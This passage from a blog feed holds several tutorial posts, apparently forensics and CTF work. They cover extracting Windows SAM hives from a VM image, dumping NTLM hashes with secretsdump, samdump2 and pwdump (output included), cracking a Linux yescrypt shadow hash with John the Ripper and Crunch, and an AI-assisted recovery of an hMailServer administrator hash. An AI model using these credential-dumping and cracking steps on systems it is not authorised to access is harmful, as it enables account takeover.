 Directory of C:\Users\Administrator\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\AppIconCache\100

03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Addons_DataDirectorySynchronizer_DataDirectorySynchronizer_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_DBSetup_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_hMailAdmin_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_unins000_exe
               4 File(s)        148,056 bytes

 Directory of C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent

02/25/2024  11:15 PM             1,009 hMailServer.lnk
               1 File(s)          1,009 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:45 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I gave this terminal directory output and ask the AI about the best chance to get that type of info from and the AI said -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7pb1lkc3gjl1741ay2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7pb1lkc3gjl1741ay2o.png" alt=" " width="657" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we got the Administrator's Password -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcqudixprktwlkyzzr1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcqudixprktwlkyzzr1t.png" alt=" " width="660" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Decode that hash in crackstation you will get the password :)&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Crack the SAM Database in Kali Linux | Windows Password Hash Extraction Guide</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 17:23:10 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/how-to-crack-the-sam-database-in-kali-linux-windows-password-hash-extraction-guide-3jek</link>
      <guid>https://dev.to/ibrahim71reza/how-to-crack-the-sam-database-in-kali-linux-windows-password-hash-extraction-guide-3jek</guid>
      <description>&lt;p&gt;In this guide, I will show you an approach to crack the Windows SAM database NTLM hashes. Before cracking, you first need to obtain these three files from the target system: &lt;strong&gt;SAM, SYSTEM, and SECURITY&lt;/strong&gt;. I had a &lt;strong&gt;.ova&lt;/strong&gt; file of a Windows virtual machine, so I will demonstrate how to extract them from that image. First, you need to dump the target system’s image. If it is a VM or virtual disk image, then this method of extracting those three files will be useful for you.&lt;/p&gt;

&lt;p&gt;Convert the &lt;strong&gt;.ova&lt;/strong&gt; file into a .rar file and then extract that . And we got this →&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fipsclsl44c8n7z7q44id.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fipsclsl44c8n7z7q44id.png" alt=" " width="800" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I loaded the “Windows-disk001.vmdk” file as an image in Magnet AXIOM. You can also use Autopsy or FTK Imager for this task. When the processing was complete, we went to the →&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzgti9bvam8box6m1tj9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzgti9bvam8box6m1tj9.png" alt=" " width="800" height="673"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Directory → “ windows/system32/config “&lt;/p&gt;

&lt;p&gt;Exported SAM , SYSTEM &amp;amp; SECURITY file and paste that in kali linux .&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;python3-impacket                                     
&lt;span class="go"&gt;python3-impacket is already the newest version (0.12.0+gite61ff5d-0kali1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 235                                                                                                              
┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; impacket.examples.secretsdump &lt;span class="nt"&gt;-sam&lt;/span&gt; SAM &lt;span class="nt"&gt;-system&lt;/span&gt; SYSTEM LOCAL
&lt;span class="go"&gt;
┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;samdump2 SYSTEM SAM &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hashes.txt                                                                                                                                  
&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;hashes.txt 
&lt;span class="go"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1007:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1008:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1011:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1012:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1013:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1014:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1015:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1016:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1017:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1018:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                           
┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;hashes.txt  SAM  SECURITY  SYSTEM

┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hkruzbzjeuzpp43ie0e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hkruzbzjeuzpp43ie0e.png" alt=" " width="800" height="708"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3o4l3ztq79nyjvjbmuu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3o4l3ztq79nyjvjbmuu.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After that the hash will be cracked if that password is present in the "rockyou.txt" wordlist&lt;br&gt;
If you want more powerful one →&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpx7ubxcui5ik67kcwln.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpx7ubxcui5ik67kcwln.png" alt=" " width="747" height="731"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;creddump7 
&lt;span class="go"&gt;creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache__
┌──(kali㉿kali)-[/usr/share/creddump7]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;cachedump.py  framework  lsadump.py  pwdump.py  __pycache__

┌──(kali㉿kali)-[/usr/share/creddump7]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python pwdump.py                                                                                          
&lt;span class="gp"&gt;usage: pwdump.py &amp;lt;system hive&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;SAM hive&amp;gt;
&lt;span class="go"&gt;
┌──(kali㉿kali)-[/usr/share/creddump7]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python pwdump.py ~/Windows_dump/SYSTEM ~/Windows_dump/SAM 
&lt;span class="go"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:22775c1ecbe2bd7d69c6dcd55b7f9b25:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4fa9775c90b54e688035a28e04d59a3c:::
james.l:1000:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
amir.k:1001:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sadia.b:1002:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
karim.r:1003:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
anika.d:1004:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rashed.h:1005:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nafisa.j:1006:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sumon.t:1007:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nazia.c:1008:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
arif.w:1009:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
kamal.n:1010:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
bilkis.z:1011:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rubel.m:1012:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
tania.y:1013:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
robin.p:1014:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sohan.v:1015:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nayeem.d:1016:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
salma.q:1017:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
hossain.a:1018:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
meem.u:1019:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:8a46225c4f14f99711b0c2d6002d3af2:::
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;with “ john jumbo “ ⇒&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftq0ixcbx51mxlgohjllx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftq0ixcbx51mxlgohjllx.png" alt=" " width="800" height="240"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And, after that the password will be cracked.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Recover Lost Linux Password Using Yescrypt Hash Cracking (Kali &amp; Shadow File Guide)</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 11:45:08 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/recover-lost-linux-password-using-yescrypt-hash-cracking-kali-shadow-file-guide-2645</link>
      <guid>https://dev.to/ibrahim71reza/recover-lost-linux-password-using-yescrypt-hash-cracking-kali-shadow-file-guide-2645</guid>
      <description>&lt;p&gt;In Linux systems, user passwords are not stored in plain text. Instead, they are stored as cryptographic hashes inside the &lt;code&gt;/etc/shadow&lt;/code&gt; file. Modern distributions use &lt;strong&gt;yescrypt (&lt;code&gt;$y$&lt;/code&gt;)&lt;/strong&gt;, a memory-hard password hashing algorithm designed to resist brute-force and GPU-based attacks.&lt;/p&gt;

&lt;p&gt;Since hashing is a one-way function, passwords cannot be decrypted. Recovery is done through &lt;strong&gt;hash cracking&lt;/strong&gt;, where candidate passwords are hashed and compared against the stored value. Tools such as John the Ripper Jumbo are commonly used for this process.&lt;/p&gt;

&lt;p&gt;Because yescrypt is computationally expensive, &lt;strong&gt;blind brute-force attacks are inefficient&lt;/strong&gt;. The most practical approach is a &lt;strong&gt;dictionary attack&lt;/strong&gt;, where prebuilt wordlists (such as &lt;code&gt;rockyou.txt&lt;/code&gt;) are used along with mutation rules. In real-world CTFs, success depends heavily on contextual guessing, such as usernames, system themes, or predictable password patterns.&lt;/p&gt;




&lt;h2&gt;
  
  
  Hash Location in Linux
&lt;/h2&gt;

&lt;p&gt;Password hashes are stored in &lt;code&gt;/etc/shadow&lt;/code&gt; with the following structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username:hash:lastchg:min:max:warn:inactive:expire:reserved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali:&lt;span class="nv"&gt;$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc&lt;/span&gt;/1kgL/nOPcWFTvhn17clxXCgyFjpC:19953:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Breakdown:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;kali&lt;/code&gt; → username
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$y$j9T$...&lt;/code&gt; → password hash (used for cracking only)

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$y$&lt;/code&gt; → yescrypt algorithm
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;j9T&lt;/code&gt; → cost parameters
&lt;/li&gt;
&lt;li&gt;salt → &lt;code&gt;zY1oKFxJlTgP2WcJhzbNl1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;hash → &lt;code&gt;xhkUmB8R9fzETc/...&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Remaining fields → password policy metadata
&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;For cracking purposes, only the hash portion is required:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Now, before cracking, you also need to get that hash from your system :)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
For this purpose, we will choose the &lt;strong&gt;&lt;em&gt;Autopsy&lt;/em&gt;&lt;/strong&gt; software, which is a free forensic tool. Install it and open an empty case. When complete, follow the image instructions.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The given process works for Disk image type or VM type file forensics.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6o4ovtad3smqrng5hy8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6o4ovtad3smqrng5hy8.png" alt=" " width="800" height="569"&gt;&lt;/a&gt;&lt;br&gt;
Now, select the image contain file and the image -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tqvnrtj5f8z0696prtl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tqvnrtj5f8z0696prtl.png" alt=" " width="800" height="553"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, go next , next. Then it start the analyze and it will take some time when it is finish by the given image way you will be able to get the shadow file :')-&amp;gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2hmircndt4pw6hzcpnsj.png" alt=" " width="800" height="550"&gt;
&lt;/h2&gt;
&lt;h2&gt;
  
  
  Step 1: Prepare Hash File
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now, for cracking I will prefer John the ripper. If, default kali not work then you may use the john jumbo &lt;a href="https://github.com/openwall/john" rel="noopener noreferrer"&gt;link&lt;/a&gt; &amp;amp; &lt;a href="https://github.com/openwall/john/blob/bleeding-jumbo/doc/INSTALL" rel="noopener noreferrer"&gt;install_explain_link&lt;/a&gt;. After, it is installed let's follow the below steps&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 2: Dictionary Attack
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;crypt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Check results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--show&lt;/span&gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1se6hcn0ourtafoycuy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1se6hcn0ourtafoycuy.png" alt=" " width="800" height="513"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: When Dictionary Attack Fails
&lt;/h2&gt;

&lt;p&gt;If the password is not present in the wordlist, more advanced techniques are required.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Sequential brute force (incremental attack)
&lt;/h3&gt;

&lt;p&gt;This method tries all possible combinations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;crypt &lt;span class="nt"&gt;--incremental&lt;/span&gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. Custom wordlist generation using Crunch
&lt;/h3&gt;

&lt;p&gt;Crunch allows generation of targeted wordlists instead of random brute force.&lt;/p&gt;

&lt;p&gt;Basic syntax:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch &amp;lt;min&amp;gt; &amp;lt;max&amp;gt; &amp;lt;charset&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examples:&lt;/p&gt;

&lt;p&gt;Numeric-only wordlist (4–6 digits):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch 4 6 0123456789 &lt;span class="nt"&gt;-o&lt;/span&gt; numbers.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lowercase alphabet wordlist (3–5 characters):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch 3 5 abcdefghijklmnopqrstuvwxyz &lt;span class="nt"&gt;-o&lt;/span&gt; alpha.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mixed pattern wordlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch 6 6 abcdef123 &lt;span class="nt"&gt;-o&lt;/span&gt; custom.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. Use custom wordlist with John
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;crypt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;custom.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Start with dictionary attack using &lt;code&gt;rockyou.txt&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Apply rule-based mutations
&lt;/li&gt;
&lt;li&gt;If unsuccessful, use custom wordlists (Crunch)
&lt;/li&gt;
&lt;li&gt;Use incremental brute force only as a last resort
&lt;/li&gt;
&lt;li&gt;Always prioritize contextual password guessing over blind attacks
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Key Insight
